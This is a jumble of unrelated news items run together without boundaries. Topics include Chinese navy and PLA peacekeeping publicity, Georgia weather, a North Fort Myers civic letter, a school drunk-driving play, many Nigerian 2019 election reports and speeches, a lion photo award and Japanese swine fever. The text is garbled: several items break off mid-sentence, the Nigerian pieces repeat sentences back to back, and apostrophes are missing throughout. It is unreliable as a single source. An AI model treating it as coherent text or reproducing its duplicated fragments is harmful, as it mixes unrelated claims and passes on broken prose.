Shao Shuguang, commander of the Chinese Navy 998 Fleet, said that the joint exercise, with compact schedules and rich activities, strengthened mutual understanding and trust between the Chinese Navy and the participating navies. The exercise also enhanced the capability of Chinese naval sailors to deal with various security threats, and demonstrated the determination and confidence of China and other participating countries in jointly addressing risks and challenges and safeguarding peace, prosperity and stability in the Indian Ocean region, Shao added.Over the course of our thorough search for a chancellor, we came to consider several serious candidates among a stellar field of accomplished leaders, but we kept coming back, said CUNY Board of Trustees chair William Thompson Jr., who led the search. His sterling credentials, his unparalleled depth of perspective and his demonstrated commitment to CUNY made him the inarguable standout and the obvious choice.Let me start by saying that Im ok, Smollett said in a statement on Feb. 1. My body is strong but my soul is stronger. More importantly I want to say thank you. The outpouring of love and support from my village has meant more than I will ever be able to truly put into words.Rome, GA (30161)

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Partly cloudy. Low around 65F. Winds ESE at 5 to 10 mph.Cedartown, GA (30125)

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Cloudy skies early, then partly cloudy this afternoon. A stray shower or thunderstorm is possible. High 82F. Winds ESE at 10 to 15 mph..

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A few clouds. Low 64F. Winds ESE at 5 to 10 mph.

Ma Zhaoxu, China's Permanent Representative to the United Nations (UN), addresses the opening of a photo exhibition at the UN headquarters in New York on February 11, 2019. (Photo by Sun Yang)

By Sun Yang

UNITED NATIONS, Feb. 13 (ChinaMil) -- A photo exhibition on China's peacekeeping efforts was launched at the UN headquarters in New York on Feb. 11, 2019. It is co-hosted by the Chinese military and the Chinese Permanent Mission to the United Nations and will run until February 22. Some UN officials and permanent representatives to the UN totaling 200 attended the exhibition.

With the theme "CPLA (Chinese People's Liberation Army): A Force for World Peace," the exhibition is composed of four sections as participating in UN peacekeeping missions, securing maritime passages, providing disaster relief and humanitarian assistance, as well as conducting exchanges and cooperation. Via 60 pictures, 17 exhibition boards and various short videos, the exhibition shows the Chinese military's contribution to the world peace and reflects Chinese military's sincerity and goodwill towards the world.

At the ceremony to launch the exhibition, Ma Zhaoxu, China's Permanent Representative to the UN, said that UN peacekeeping operations have played an important role in maintaining international security and peace. China is always a builder of the world peace and a defender of the peacekeeping operations, and is willing to further contribute to world peace and peacekeeping operations with countries around the world.

Under-Secretary-General for Field Support Atul Khare in his speech hailed China's important role and Chinese military's continuous and widespread support to UN peacekeeping, saying that China is a permanent member of the UN security council, the 10th largest contributor of uniformed personnel and the second largest financial contributor to UN peacekeeping budget. Only China shoulders the three glorious responsibilities at the same time, he added.

Last December, China's share of the UN peacekeeping budget was raised from 10.24 percent to 15.22 percent, making it the second largest contributor only after the United States. "China continues to be recognized as an essential partner across the spectrum of UN peacekeeping," Khare said, adding that China "currently deploys a total of 2,508 uniformed personnel, including 70 women, to eight of the UN's current peacekeeping missions."

Mao Naiguo, head of the Chinese PLA delegation for international communication, said that as a staunch force for world peace, the Chinese military has participated in 24 UN peacekeeping operations. China first sent peacekeepers to carry out UN operations in 1990, said Mao, adding that over the past three decades, China has sent over 39,000 peacekeepers to UN missions around the world. "China firmly upholds the purposes and principles of the UN charter and its central role in the international affairs," Mao said.

"As of December 2018, 31 batches of 100 vessels were dispatched to provide safety protection for more than 6600 Chinese and foreign vessels, rescuing, escorting and salvaging more than 70 ships in distress," according to the exhibition.

On safeguarding maritime passages, data from the exhibition showed since December 2008, the Chinese Navy has regularly deployed 3 to 4 vessels in the Gulf of Aden to carry out escort missions. In addition, in recent years, the Chinese military has helped in various international disasters such as Haiti earthquake in 2010, Philippine typhoon Haiyan in 2013, and Ebola epidemic in West Africa.

UN Military Adviser for Peacekeeping Operations Carlos Humberto Loitey said that China's contribution to the UN peacekeeping is worth "highlighting," with "good quality" of peacekeepers and "outstanding support in terms of training."Have you taken a drive down Old US 41 lately? Have you noticed the amount of outside storage that has been accumulating on the strip between Weavers Corner and the Caloosahatchee Bridge? From semi-tractors and empty semi trailers located on vacant lots, to unsightly outside storage of merchandise that has been growing in this area and beyond. Well, we at the North Fort Myers Civic Association have, and we want to bring the blight in this area to the attention of everyone in hopes of getting this storgage that has been popping up in this area removed from our communitys landscape.

Old US 41 from Weavers Corner to the Caloosahatchee Bridge for many years has been known as the business district of North Fort Myers. However, over the past few years this area now has seemed to become a haven for outside vehicle storage, and the unsightly outside displaying of merchandise that have become unpleasant blemishes in our community. We have also noticed the lack of proper right-of-way maintenance in this area as well, as the ditches and easement areas have not been properly mowed and cleared for quite some time. This area also includes buildings that have painted phone numbers on their windows stating buildings For Rent that are extremely unsightly and may be in violation of Lee County Sign Ordinance 85-26 as well.

For North Fort Myers to get cleaned up and back on track, as a destination for future business growth, the North Fort Myers business district needs the attention of not only our community as a whole, but the combined cooperation of government entities such as Lee County Code Enforcement, Lee County and State DOT, Health and Human Services, Lee County Economic Development, as well as others. These government agencies in themselves can help in making this area once again a North Fort Myers business destination, and not the storage and display corridor this strip has unfortunately become over the past few years.

As president of the North Fort Myers Civic Association I will be proposing to our Board of Directors that the NFM Civic Association take a strong position on the clean up and revitalization of this prime business area for North Fort Myers. It is my intention to form a special sub-committee for the purpose of focusing on this particular area, and to be pro-active on its clean-up and revitalization efforts moving forward. The business district of North Fort Myers for years has been claimed as a priority by several local government agencies for revitalization, and economic development. This area, although not part of the area designated for the North Fort Myers revitalization funding, is primed and ready now for its own revitalization effort. Once this area shows signs of improvement, it can then be more easily spread to other areas of North Fort Myers not only as a sign of community pride and revitalization, but one of community and government cooperation for the betterment of North Fort Myers.

It would take serious civic, business, and community action along with government agencies working together with these civic and community partners in making this long-needed revitalization a reality. The promising part is that there are currently civic, business owners, long-time North Fort Myers residents, along with highly qualified North Fort Myers advocates that are ready to take this effort on immediately for the North Fort Myers Business District to help in making this effort happen for our community.

With these community and civic partners working together for our common goal, along with the input of our community, we will be able to secure the necessary government agencies needed in forming a strong community-government working relationship for the betterment of North Fort Myers.

We look forward to the challenge of the North Fort Myers Business District becoming a much-needed focal point of community and government interaction for the overall revitalization of North Fort Myers through a strong clean-up and revitalization effort. The North Fort Myers community deserves much better than what is in place now. With community and government teams working together for a common goal we can resolve this issue together for the betterment of North Fort Myers for now and years to come.

To become a member of the North Fort Myers Civic Association and to get involved in your community please go to our website at NFMCIVIC.COM and click on the join us link or attend our monthly meetings the second Tuesday of every month at the North Fort Myers Recreation Center from 6:30 p.m. to 8:30 p.m.Local school kids last Tuesday learned a lesson on what can happen when you make the wrong choices in life pertaining to drinking and driving.

Students from Oasis Middle School and other schools throughout Lee County attended the annual Drug House Odyssey event at Lee Civic Center that addressed the consequences of drinking and driving and how the decisions they make can have lifelong consequences.

It was unusual for middle school students to attend this event, as the program is geared toward fifth-graders. However, as Oasis is starting a SADD program (Students Against Destructive Decisions), it was decided that those kids should attend.

Drug House Odyssey is a play in which teenagers make terrible decisions that have tragic ramifications. Members of the Lee County Sheriffs Office, Cape Coral Police Department and the Florida Highway Patrol, as well as Lee County EMS (which brought its helicopter), Bayshore Fire Department and the Lee County District Attorneys Office, participate in the event.

We want to show them the long-term ramifications of drinking and driving, possession of prescription pills and show them the process of us observing a violation where we effect their arrest and start the long-term consequence, said Sgt. James Lear of the CCPD, who arrests a drunk driver in the play. We want to impact children where they say they dont want that person to be them.

Weve been volunteering for Drug House Odyssey for years. Its been great for us and impactful for the kids, said Jennifer Royal, assistant state attorney who played defense counsel to the accused drunk driver. We take DUIs very seriously and even juveniles get serious sanctions because we want them to learn from their actions and shouldnt be drinking to begin with.

We deal with this on an almost daily basis where we run these accidents and people dont realize the dangers of drinking and driving, said Capt. Doug Underwood of the Bayshore Fire Department. All of us being involved puts a light in the eyes of these kids to realize the significance of saying no.

Students from Fort Myers High School played the roles of the teenagers making those terrible decisions. Students like Rolf Julmisse, who said he did this to help people out.

I think this benefits the kids for them to see the effects of alcohol abuse. I go to people who mentor me and who I look up to like my parents and teachers and think about it, Julmisse said.

Lisa DeWitt, health teacher at Oasis, said the school thought an after- school program would get kids involved in realizing what drugs and alcohol can do.

Pretty soon, theyll be in high school and theyll face all that peer pressure. Watching the scenes from this made it real for them. They got to see the repercussions to their health, scholarships gone, jail and your life is over, DeWitt said.

Chris Reyes, sixth-grader, said he learned that drugs and alcohol can hurt you.

They affect your body and how you live. It can affect how to drive and smoking can even give you cancer and kill you, Reyes said. From watching the play, I knew I really needed to avoid all that. Look away and say no.The United States says it is not supporting any candidate for the February 16 presidential election in Nigeria. Dismissing news an...





The United States says it is not supporting any candidate for the February 16 presidential election in Nigeria.





Dismissing news and perceptions of partisanship, the US embassy in Nigeria released a statement to say the countrys over $1 billion aid to Nigeria will continue, no matter who wins the elections on Saturday.





Earlier, Festus Keyamo, spokesman of President Muhammadu Buhari reelection campaign, said the United States has displayed its double standard for the world to see, by protecting and seemingly supporting Atiku Abubakar of the Peoples Democratic Party.





Keyamo said that Stuart Symington, the US ambassador to Nigeria, seems to be saying that only a PDP victory will be evidence of a fair election.





But in a message from Symington on Tuesday, the US envoy stated categorically that his country was not backing any candidate at all, adding that his country supports a level playing field.





We do not support any party or candidate, the statement read. The United States Embassy in Nigeria wishes to reiterate unequivocally that we are not taking sides in Nigerias election.We do not support any party or candidate, the statement read.





That is the bedrock principle of our Governments advocacy on democratic elections. We support a level playing field and the democratic process.That is the bedrock principle of our Governments advocacy on democratic elections.





But it must be repeated: we are not taking sides. In the final run-up to the Feb. 16 vote, fake news and rumours are operating in overdrive.But it must be repeated:we are not taking sides.





This is Nigerias election and the citizens of Nigeria will decide who will lead their nation. It is important for the future of every Nigerian and it is important that every Nigerian contribute to making it a democratic, peaceful, free and fair process.





This will ensure that all Nigerians see the results as credible, and they accept them. This will empower Nigerias democracy going forward, as did the elections of 2015.





OUR AID TO NIGERIA IS CONSTANT

The US stated that no matter who wins the election, its contributions to Nigeria will remain, stating that America is an enduring friend of Nigeria.





We provide more than $1 billion in assistance and help save more than 2 million lives of Nigerians each year through our health and humanitarian assistance. This will not change. We are Nigerias good partner, and this will continue after this democratic election  no matter who wins. The United States is Nigerias long-term and enduring friend.We provide more than $1 billion in assistance and help save more than 2 million lives of Nigerians each year through our health and humanitarian assistance.This will not change.We are Nigerias good partner, and this will continue after this democratic election  no matter who wins.





Nigeria has long played a great leadership role in the region and beyond as a force for democratic stability. This election is Nigerias, but it is also important for Nigerias neighbours and for the world.Nigeria has long played a great leadership role in the region and beyond as a force for democratic stability.





The credible electoral results of 2015 empowered Nigeria to play that role. The United States looks forward to a similar result this week.





We call on every Nigerian citizen, official, party member, and the security forces to peacefully support Nigerias democratic process in accordance with Nigerian law. We support the democratic process and the work of the Independent National Electoral Commission in managing the elections.We call on every Nigerian citizen, official, party member, and the security forces to peacefully support Nigerias democratic process in accordance with Nigerian law.





Now is the time to grow that peace by ensuring all get the message and put it into action so that both the voting and the aftermath are peaceful and fully respect the democratic process. The United States welcomed the signing of Peace Accords by the candidates for President and other offices.Now is the time to grow that peace by ensuring all get the message and put it into action so that both the voting and the aftermath are peaceful and fully respect the democratic process.



The Social Democratic Party, SDP, has insisted that its earlier endorsement of the presidential candidate of the All Progressives C...





The Social Democratic Party, SDP, has insisted that its earlier endorsement of the presidential candidate of the All Progressives Candidate, APC, Muhammadu Buhari, for the Saturday, February 16 polls.





The partys position was reaffirmed by the Acting Deputy National Chairman (South), Dr. Olu Agunloye, at a press conference held in Akure on Tuesday evening.





According to Agunloye, It is too late for SDP to begin campaign for its candidate with few days to the general election, hence, the reason for the adoption of Buhari.





Agunloye, who also stated that the party was reorganizing itself in the country to be an alternative platform, added that it was imperative to work for the victory of other SDP candidates vying for other elective positions aside the presidency.





The vision and goals of the party are beyond endorsement of candidates for the 2019 general election, but improving the gains of representative democracy in Nigeria.





SDP is to be strengthened beyond the February 16 election, what is very important for us at this critical period is building this party as a formidable force and alternative platform political for the future.





We will maximize every opportunity at our disposal to ensuring that all the House of Assembly, senatorial and House of Representative candidates win the forthcoming elections across the Federation.





The Deputy Chairman maintained that the decision of the National Working Committee, NWC of the party for the adoption of the APC presidential candidate was due to the crises that ensued between Prof. Jerry Gana and the former governor of Cross River State, Donald Duke, over the partys ticket.





Agunloye, expressed unalloyed loyalty to the new Acting National Chairman, Prof. Tunde Adeniran, urged the party members to work for the success of all SDP candidates at the polls.



The Vice President, Prof. Yemi Osinbajo, yesterday reacted to the violence that rocked the All Progressives Congress (APC) campaign ra...





The Vice President, Prof. Yemi Osinbajo, yesterday reacted to the violence that rocked the All Progressives Congress (APC) campaign rally held in Ogun State where the partys national chairman, Adams Oshiomhole, was booed and pelted with stones by an irate crowd.





Osinbajo said any member of the APC working against the success of the party in the forthcoming general elections is like a bad cutlass with two blunt edges.





Osinbajo stated this during a town hall meeting held at the palace of the traditional ruler of Ago Iwoye, Abdulrazak Adenugba, in the course of his campaign tour of the state.





Osinbajo, who was also at the violent rally, said despite the incident, the electorate should vote massively for the party and its candidates.





He said the APC is the only party that has the capacity to improve the lives of the people.





Vote for APC alone in all the elective offices because we dont know of those who are meddling or promoting another party. Anyone caught in such an act can be described as bad cutlass.





Remember that a cutlass should have only one sharp edge. Anything short of that makes such cutlass a bad one.





Even the most hardened enemy of President Muhammadu Buhari knows that he is not a thief nor is he corrupt. And secondly, you have to vote for us because of the many things that we have in stock for you.



Akwa Ibom state governor, Udom Emmanuel, has said the Peoples Democratic Party (PDP) in the state will station 1,000 youths per unit to...

Akwa Ibom state governor, Udom Emmanuel, has said the Peoples Democratic Party (PDP) in the state will station 1,000 youths per unit to defend its votes.









He stated that the party has worked hard to ensure it wins the February 16 and March 2nd general elections, and are confident of winning the polls.









Speaking yesterday in Onna, his local government area to round off the campaigns, Emmanuel said plans by the opposition party to intimidate party and government officials have failed.









He mentioned that key party leaders have been threatened with arrest and cajoled to leave the party to no avail, adding that the evil they planned, God has frustrated.









He called on the youths to resist every attempt to arrest any party official and challenged the federal government to expose former members of the party in the state who evaded tax and are now members of the ruling All Progressives Congress (APC).









The governor thanked God for the peaceful campaigns and all party leaders, stakeholders and supporters who made the campaigns successful.









PDP is unstoppable. We will produce the next president of this country. There is no way we would not win; we have gone round the whole Akwa Ibom.









PDP is like a religion in Akwa Ibom. They planned evil, God did not allow it to happen; God has disappointed them. We started in peace and ended in peace and success.









Akwa Ibom is 100 percent PDP. They wanted to arrest and intimidate but God has disappointed them. They were planning to arrest and intimidate our people but God has disappointed them. Nigerians must learn a lesson when somebody comes out to talk like Nebuchadnezzar, like Pharaoh.









Akwa Ibom youths have rejected thuggery, they have embraced peace.









We dont want war. We want employment, we want empowerment, we want job creation. PDP is the only government that will create jobs.









Anybody that says elections will finish in 30 minutes must be questioned. No one with morality can truncate the electoral process. We have done our homework and we know victory is sure.









We have paid heavily for tax invasion. We challenge the federal government to expose those who have run to them for tax evasion. God will judge them, they are evil people. They want to arrest my commissioners but God will not allow them.









I have told the youths to resist every arrest. As the Speaker has said, we will have 1,000 PDP defenders in every polling unit. This is the first time a core federal constituency is producing a governor and for sake of peace and equity, he must run two-terms, he said.









Meanwhile, an APC governorship aspirant in the state, Dr Edet Efretuei has defected to the PDP with over 5,000 of his supporters.









He declared his support for Governor Udom Emmanuel at the PDP campaign rally in Urue offong Oruko local government area, adding that he was robbed and schemed out of the APC governorship primaries.









He regretted leaving the PDP and expressed delight for returning, as he declared his readiness to work for the success of the party and the re-election of Governor Emmanuel at the general elections starting on Saturday.







A 29-year-old man, Rasaq Iyanda, has been arrested by operatives of the Osun State Police Command for allegedly removing the pants of hi...

A 29-year-old man, Rasaq Iyanda, has been arrested by operatives of the Osun State Police Command for allegedly removing the pants of his co-tenants teenage daughter (name withheld) while she was sleeping.









The incident, according to the police, occurred on Wednesday, February 6, 2019, around 2am at the Dalegan Compound, Osogbo.









The father of the victim, simply identified as Mr Raheem, while narrating how the incident happened, said the teenager chose to sleep outside the room because of heat.









He said the girls cry woke the occupants of the house and on getting to where she was sleeping, it was discovered that her pants had been taken off.









Raheem stated that in order to get to the root of the matter, he consulted a herbalist, who told him that the perpetrator of the act was living in the same house with him.









He added that after he left the herbalists place, a co-tenant, who had suspected that Iyanda was the perpetrator of the act, called and warned the suspect that dire consequences awaited him if he did not confess.









Iyanda, it was learnt, owned up to the crime and took Raheem to where he hid the pants, claiming that he did not know what came over him while carrying out the act.









Appearing before an Osun State Magistrates Court sitting in Osogbo, on Tuesday, Iyanda pleaded guilty to the one count of indecent assault preferred against him.









His counsel, Mr Tunbosun Oladipupo, applied for bail on his behalf and promised to ensure that the suspect would be available for trial.









The police prosecutor, Inspector Joshua Oladoye, however, objected to the bail application.







The National Judicial Council (NJC) has given Ibrahim Muhammad, acting chief justice of Nigeria (CJN), seven days to respond a fresh p...





The National Judicial Council (NJC) has given Ibrahim Muhammad, acting chief justice of Nigeria (CJN), seven days to respond a fresh petition against him.





In a statement on Wednesday, Soji Oye, spokesman of NJC, said the petition was sent to the council by the Action Peoples Party (APP).





Oye said the council found the earlier petitions against Muhammad and Walter Onnoghen, suspended CJN, worthy of further investigation.





He said the council has constituted a five-member panel to probe the allegations in the petitions against the duo.





In continuation of its emergency meeting, the National Judicial Council accepted the result of the preliminary assessment of the petitions against Hon. Mr. Justice W. S. N. Onnoghen, GCON and Hon. Mr. Justice I. T. Muhammad, CFR that the petitions were worthy of further investigation and should not be terminated under Rule 17 of the Judicial Discipline Regulations of the Council, he said in a statement.





Consequently, the council constituted a five-member Investigation Committee pursuant to Rule 20 (1) of the Judicial Discipline Regulations under the Chairmanship of Hon. Mr. Justice S. A. Akintan, CON, a retired Justice of the Supreme Court of Nigeria.





A new petition against Hon. Mr. Justice I. T. Muhammad, CFR, by the Action Peoples Party (APP) was referred to the Hon. Mr. Justice for his comments within an abridged 7-days.





Council directed the investigation committee to work expeditiously, determine all the petitions and responses and report to Council for a final decision.





Onnoghen is accused of false assets declaration.



Atiku Abubakar, the presidential candidate of the Peoples Democratic Party (PDP), says his ambition is not worth the blood of any Nige...





Atiku Abubakar, the presidential candidate of the Peoples Democratic Party (PDP), says his ambition is not worth the blood of any Nigerian.





Speaking at the signing of the national peace accord ahead of the February 16 presidential election, the former vice-president called on security agencies not to arrest opposition leaders 24 to 48 hours before the election.





May I use this opportunity to renew my profound gratitude, firstly to my party, the Peoples Democratic Party (PDP), and then to General Abdulsalami Abubakar and members of the Peace Committee for their tireless enthusiasm, dedication, and passion towards ensuring the success of this Peace Accord Process, he said.





Our gathering here today clearly demonstrates the importance of the upcoming elections as well as how our democracy has matured, not only to our people, but also to the international community whose solidarity, Nigerias democracy has benefited from.





As we prepare to sign off on this Peace Accord, as representatives of our party and people, may I freely quote the words of former President Goodluck Jonathan, which remains a benchmark, for me, taking into account the deep feelings that prevail as February 16th, 2019, approaches: My ambition is not worth the blood of any Nigerian.





Atiku called on officials of the Independent National Electoral Commission to remain neutral.





In this context, I appeal once again to every staff and the leadership of the Independent National Electoral Commission (INEC) and the Nigeria Police Force, to be fair arbiters in the upcoming elections while letting neutrality prevail.





For emphasis and in the spirit of fair play, I also urge our security agencies, not to embark on indiscriminate arrests of members of the opposition, 24 to 48 hours before elections, as has been the case in previous elections.





Hopefully, our democracy should emerge stronger from this process with the 2019 elections proving better managed than the 2015 process, which was adjudged free and fair with the then oppositions victory unobstructed





Consequently, I also appeal to the President, General Buhari, to use his good office to ensure that every eligible person who casts their vote is confident in the process and in the belief that their vote will count.





Additionally, every candidate must remember that this election is about the future of Nigeria, therefore, we must abide by the will of the people as freely expressed through elections, under the terms of our constitution.





Once again, despite concerns expressed by my party leaders concerning likely electoral malpractices and the intimidation of voters and observers, I trust that our election officials and security services will do their duty in accordance with their oath and obligations.





In conclusion, I appeal once again, to our citizens, to go out and cast their votes for the candidates of their choice, to be peaceful at all times, and confident in our democracy, its institutions and processes.



President Muhammadu Buhari says elections are important only if they make the country safe. Buhari said this at the signing of the...





President Muhammadu Buhari says elections are important only if they make the country safe.





Buhari said this at the signing of the national peace accord ahead of the February 16 presidential election.





Citing the growing number of political parties, young candidates participation and female representations in the political sphere, the president expressed his delight at the changes being experienced in the countrys electoral process, saying the nations democracy is deepening and expanding.





He called on the youths to avoid being used as tools for violence, saying peaceful elections are the bedrock of the nations democracy.





Below is the speech he delivered:





Another election is upon us and not unexpectedly, there is anxiety in the air. This is typical of any form of competition and contest, no matter how well prepared all contestants and regulators are. The forthcoming elections are very special and significant for the growth of our Democracy.





First, they come immediately after one of the most peaceful elections in the history of our country. I am not saying this because I was blessed to emerge as the winner. I am saying there had been a lot of fears and anxieties from within and outside Nigeria about the future of the country. We are hopeful that this is evidence that we are all maturing in our disposition towards electoral outcomes. We see this as an opportunity to grow our sense of political culture in Nigeria.





Secondly, we are witnessing an exciting development in the area of the engagement of our Youth and Women in the democratic process. Hitherto, these groups have often not been in the mainstream of our political competition. It is in appreciation of their contribution that we passed the Not Too Young to Run Bill last year. The success of the Act is illustrated by the unprecedented number of young men and women who have stepped forward to participate in this process as Candidates at all levels. Significantly, we have witnessed also the emergence of Women as Candidates across the political space.





Thirdly, these elections are taking place against the backdrop of the emergence of an unprecedented number of Political Parties. As of now, we have 91 Political Parties, out of which over 70 fielded Presidential Candidates. Although some Candidates have dropped out of the race, there is no doubt in our minds that our country is moving forward and that our democracy is expanding and also deepening.





I call on all Nigerians to contribute to the building of a viable polity by more active participation well beyond the mere casting of votes. Elections by themselves do not constitute Democracy. It is the spirit of citizenship engagement that utilizes the energy of citizens towards the attainment of good governance.





We have assembled here to mark the final phase of our campaigns and we are now at the doorstep of our elections. The Campaigns so far have gone well and we thank God for that. For the few incidents in which people lost their lives largely through accidents, we pray that God grants them eternal peace. Now campaigns are over and our next assignment is for us all, citizens and contestants alike, to go out and exercise our civic duties.





We, the Presidential candidates are here to sign and commit ourselves to do all that is possible to ensure the success of the elections but most importantly to accept the final outcome. I appeal to my fellow contestants to commit to these ideals so as to keep our country and people safe. The Independent National Electoral Commission, INEC, our electoral Umpire, has already assured us that they have done everything possible to ensure free and fair elections.





It was to ensure this that I made sure that INEC received all the resources they needed to perform their job. Our Security Agencies have been fully briefed and they know that their visible neutrality is key to the conduct, credibility and success of the elections.





To the Rt. Honourable Patricia Scotland, the Secretary General of the Commonwealth Secretariat, we extend our felicitations and welcome to you. Your presence here and your friendship mean a lot to us as a country. To the Members of the Diplomatic Corps, the International Team of Monitors, again, I say, welcome to Nigeria and thank you very much for standing by us. Your presence helps to validate our process and commitment to growing our Democracy.





I want to thank General Abdulsalami Abubakar, the Chairman of the National Peace Committee and all his members for the hard work they have put into ensuring that our Elections are peaceful. Your great work contributed significantly in shaping the 2015 elections and we are sure that the same impact will be felt in these elections.





To all our citizens, I want to thank you. As we go into the elections in few days, please let us pray for our country. Let us use this opportunity to strengthen our beliefs in a united country. Our elections are important only to the extent that they make our country peaceful and prepare us for development.





I am making a special appeal to our young people: Do not allow yourselves to be used to cause violence. Please eschew all forms of violence and cooperate with all the relevant agencies during these elections. We will vote according to Parties, but in the end, the only real Party is Nigeria, our country. Our elections are important only to the extent that they make her strong. Let us do our best and ask God to bless us and our country.





Thank you and God bless the Federal Republic of Nigeria.



Xi Jinping, chairman of the Central Military Commission, has signed an order to release a trial regulation on the supervision of military training, the first of its kind in the country.

A military expert said the move provides a systemic guarantee.

The regulation, which takes effect on March 1, focuses on improving the combat readiness of the People's Liberation Army (PLA), the Xinhua News Agency reported on Monday.

The regulation provides measures to rectify practices that are inconsistent with the requirements of actual combat. It also gives the criteria for identifying malpractices and discipline violations in military training, Xinhua reported.

An expert at a Beijing-based PLA military academy who requested anonymity told the Global Times on Tuesday that "the supervision regulations is meant to guarantee the effective execution of the training regulation implemented last year."

On January 1, 2018, the PLA started a trial implementation of a revised military training regulation which embodies the military thought of Xi.

In the past, the mission and evaluation of military training were conducted by the same combat units in the PLA. To make the military training and drill more objective and effective, the PLA needs units that are independent of combat troops, the anonymous expert said.

"Although Chinese military forces have no chance to improve their combat capability in battle like the US and Russian militaries, since we have no war to fight, we can still strengthen combat capability through strict training and supervision. We should be prepared before a real war comes to us," according to the expert.

The supervision regulation is expected to consolidate the strategic role of military training under the new circumstances, strengthen the management of military training, and deepen military training under combat conditions, Xinhua reported.A Federal High Court sitting in Abuja has stopped the federal government from freezing the accounts of the Chief Justice of Nigeria, J...





A Federal High Court sitting in Abuja has stopped the federal government from freezing the accounts of the Chief Justice of Nigeria, Justice Walter Onnoghen.





The presiding judge of the Federal High Court, Justice Ijeoma Ojukwu, ruled that the Attorney General of the Federation (AGF) cannot freeze bank accounts of Justice Onnoghen without first obtaining a court order authorising the freezing.





The judge gave the order while ruling on an ex parte application filed by the Legal Defence and Assistance Project (LEAP) against the President of the Federal Republic of Nigeria, the AGF and the Nigerian Financial Intelligence Unit (NFIU).





A copy of the order, which was made available to journalists in Abuja yesterday, read in part: That the AGF shall first obtain an order of court (ex parte) before freezing the accounts of Justice Onnoghen Nkanu Walter Samuel (in respect of Exhibit B) in compliance with the law if, it was not obtained.

That where it is shown that the order of court was obtained before the freezing of the accounts contained in Exhibit B, the freezing order shall remain valid.





That order to be served on the respondents pending the hearing of the motion on notice.





That the matter is adjourned to 13th day of February 2019 for report/motion on notice.



President Muhammadu Buhari of the All Progressives Congress (APC) and former Vice President Atiku Abubakar of the Peoples Democratic Par...

President Muhammadu Buhari of the All Progressives Congress (APC) and former Vice President Atiku Abubakar of the Peoples Democratic Party (PDP) will today sign a peace accord on the outcome of the February 16 presidential election.









Former US President Bill Clinton will also speak with Buhari and Atiku this week to ensure peaceful election, his spokesman Angel Urena said in a statement.









Clinton was earlier billed to deliver a keynote address and witness the signing of the peace accord organised by the National Peace Committee (NPC) led by former Head of State General Abdulsalami Abubakar.









The former US president, however, cancelled the trip because his visit to Nigeria has the potential to be politicized in a way that is not in line with the goals of the Committee, Urena said.









This is a crucial time in Nigeria, and President Clinton is hopeful that the elections outcome reflects the will of the Nigerian people, the spokesman added.









When contacted last night, Femi Adesina, the Special Adviser Media and Publicity to President Buhari, said; You will see him [the president] there.









Mr Paul Ibe, Atikus media aide, also confirmed yesterday that the former VP would sign the pact today.









President Buhari had on December 11, 2018, signed the first peace pact, tagged Abuja Accord 2018 along with several other presidential candidates. The PDP candidate who was absent at the event, however, signed the pact the following day.









While signing the first pact, Buhari had said, We, the candidates pledge to uphold the highest standard of conducts and encourage our teeming supporters to do same.









Also, after signing the pact, Atiku commended the president for signing the peace agreement.









It was gathered that in the build up to the 2015 elections, the NPC facilitated the signing of the peace accord between then President Goodluck Jonathan, Buhari and 12 other candidates for the presidential poll.President Muhammadu Buhari and Atiku Abubakar, former vice-president and candidate of the Peoples Democratic Party (PDP), have arrived...





President Muhammadu Buhari and Atiku Abubakar, former vice-president and candidate of the Peoples Democratic Party (PDP), have arrived at the International Conference Centre (ICC), Abuja to sign a peace accord.





Also present at the peace accord signing is Mahmood Yakubu, chairman of the Independent National Electoral Commission (INEC), and Abdulsalami Abubakar, the chairman of the National Peace Committee.





Patricia Scotland, the secretary-general of the Commonwealth; Mathew Kukah, Bishop of the Roman Catholic Diocese of Sokoto, as well as other members of the National Peace Committee (NPC), are in attendance.





Yakubu Gowon, former head of state, is also present at the ICC to witness the historic event.





Speaking at the event, Atiku said the Nigerian democracy has matured over the years, with the support of the international committee.





Scotland said the National peace accord to be signed by the major presidential aspirants in the 2019 general election is consistent with the values and principles of the Commonwealth.





She called on all parties involved to ensure peaceful, free, fair, and credible election in Nigeria.



Wife of President Muhammadu Buhari, Aisha on Tuesday in Abuja, said that though her husband maybe seen as a hard man, he is compassion...





Wife of President Muhammadu Buhari, Aisha on Tuesday in Abuja, said that though her husband maybe seen as a hard man, he is compassionate and deserves re-election on Saturday.

Buhari of the All Progressives Congress (APC) will slug it out with Atiku Abubakar, the Peoples Democratic Party (PDP) presidential candidate.





NAN reports that Aisha, who heads the APC Women and Youth Presidential Campaign Team, stated this at the National Union of Road Transport Workers National (NURTW) National Headquarters in Abuja.She led some members of the team to the union headquarters to inform its leadership what the Buhari-led administration was doing to impact on the lives of the people.





Aisha was represented by Retired Brig.-Gen. Buba Marwa, Chairman, Central Working Committee of the APC, Women and Youth Presidential Campaign Team at the event.





She stressed that the meeting was to discuss governance with the unions leadership and steps be taken by the Buhari led administration to address the plight of the common man.





Aisha said Buhari in the last three and half years had led the country by example and had proved to be an incorruptible leader.





She noted that with regards to security, motor parks in the country had had been secured compared to the past when bombs blasts were daily occurrences.





The President is up and doing and he had been able to curtail the Boko Haram menace. He has worked, and he is working very hard.





By the time his mandate is renewed by Nigerians in the coming election, it will be better for us all, she said.





Alhaji Najeem Yasin, National President NURTW while appreciating the team for the visit, acknowledged that Buhari had done well for the country in terms of delivering democracy dividends.



The two adult males, likely brothers, rubbed faces for around 30 seconds before settling down. It is unusual behaviour for lions to nuzzle for so long, so David felt privileged to experience this moment and have the opportunity to share it with the world.



The LUMIX People's Choice Award recognises outstanding entries to Wildlife Photographer of the Year, as voted by the public. The shortlist of 25 images of the natural world was selected by the Museum from over 45,000 entries submitted for the 2018 competition.

David says, 'I'm so pleased that this image did well, because it illustrates the emotion and feeling of animals and emphasises that this is not limited to humans. It is something I think more people need to be aware of for the sake of all animals.'

Director of the Museum, Sir Michael Dixon, says, 'Lions are individuals with complex social bonds, and David's winning picture provides a glimpse into their inner world. I hope the empathy and wonder garnered by this image will inspire more people to take action to protect nature.'

Mike Owen, Professional Imaging Marketing Manager from Panasonic UK, adds, 'It is a great honour to be involved in the LUMIX People's Choice Awards and to be able to champion the image that resonates most with the public.

'David's image shows a heart-warming connection between two animals that are usually perceived as hunters and fighters. Congratulations to David for capturing this striking image.'

Four Highly Commended images

Thank you for trusting us for your local news coverage. You have reached the maximum number of free articles per month. Subscribe today for unlimited access to News-Press NOW. It's a fast and easy way to support local journalism.A new outbreak of swine fever has been confirmed on a pig farm in Aichi Prefecture, central Japan. It is the third farm in the prefecture to be hit by the highly contagious disease.

